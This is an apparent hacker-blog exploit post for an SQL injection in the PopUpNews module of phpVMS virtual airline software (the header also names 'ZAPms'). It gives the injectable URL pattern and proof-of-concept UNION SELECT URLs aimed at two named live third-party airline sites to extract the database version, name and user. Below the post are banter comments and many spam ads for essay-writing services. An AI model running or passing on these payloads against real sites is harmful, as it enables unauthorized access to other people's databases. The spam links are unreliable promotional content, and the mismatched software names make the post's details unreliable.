LFI to RCE via access_log injection

on
18

phpVMS Virtual Airline Administration <= SQL Injection Vulnerability

on
[o] phpVMS Virtual Airline Administration <= SQL Injection Vulnerability

Software : ZAPms
Version   : 2.1.934 & 2.1.935
Vendor   : http://www.phpvms.net
Author   : NoGe
Contact  : noge[dot]code[at]gmail[dot]com


[o] Exploit

http://localhost/[path]/index.php/PopUpNews/popupnewsitem/?itemid=[SQLi]


[o] PoC

 http://vupscargo.com/index.php/PopUpNews/popupnewsitem/?itemid=43+union+select+1,version(),database(),4,user()--
http://malaysiava.org/index.php/PopUpNews/popupnewsitem/?itemid=12+union+select+1,version(),database(),4,user()--

Comments

unyil said…
smangat ya kk,nge bug lagi gmana kabar s4va,aje,wishnu,ander gay, huaaaa...ah miss u deh
April 15, 2013 at 5:41 AM
evilc0de said…
aih masih mahok ya kaw? wkakwakwkawkakwak..
April 15, 2013 at 8:02 AM
matthews said…
wakwkakwakwak si unyil, long time no see
April 15, 2013 at 10:38 AM
evilc0de said…
satu lagi mahok muncul.. lol
kemana aja klean smua?
April 15, 2013 at 1:11 PM
PHP Development said…
Useful post. Thanks for the post,

PHP Development
October 9, 2013 at 5:00 PM
Amelia said…
Thanks for this post! see it here
May 22, 2014 at 3:33 PM
alexxlexx said…
Thanks for the link, best wishes from http://prime-essay.org/
June 25, 2014 at 3:51 PM
Unknown said…
If you need to write good essay and any report which, recommended a cool site. It is the best writing service for all.
December 27, 2014 at 6:16 PM
Unknown said…
Hi! My brother is professional php developer. I think he would like your article=)
And I am professional essay writer and I earn money byby writing essays=)
All my friends pay people to write papers
February 12, 2015 at 7:54 PM
mahjong said…
Really impressive post. I read it whole and going to share it with my social circules. I enjoyed your article and planning to rewrite it on my own blog.
mahjong | agario | minecraft sniper games | pacman
September 10, 2015 at 4:01 PM
Unknown said…
With the expansion of time people always look for trusted and quick services for different matters of their life.Now online education has become important part of modern world.The college essays click this link and hire writer for writing assignments and essays according to your reguirements.Read more at www.advanced-writer.com
November 20, 2015 at 3:27 PM
Anonymous said…
If you feel that writing is not your strong point and you are lack of time and skills,in this case,welcome to www.essays-shark.net and get rid of all your problems with one click
January 27, 2016 at 8:50 PM
kitty23 said…
Excellent site! I get to see more informative posts from you in future! And I can say for myself that writing essays is a difficult task! Thats way, http://essay-mania.com may be the best solution!
February 2, 2016 at 3:44 PM
Unknown said…
I offering you an opportunity to get more free time and do many things you should be doing while you are in college and not waste your time on boring assignments! This why i proposed you visit on site http://essay-professors.com where I usually order my assignments!
March 23, 2016 at 8:02 PM
Unknown said…
Wow!..Amazing.. I have no words to describe it
happy wheels | friv4school | happy wheels
September 14, 2016 at 5:07 PM
essay-experts said…
Custom writing assistance from the most educated writers!
December 22, 2016 at 6:18 PM
Henry said…
Well, I was looking for it. I found some but they didn't work. And when I tried this it worked. Now it's time to avail https://www.vfixphonesandtech.com/ for more information.
September 9, 2022 at 1:05 PM
Post a Comment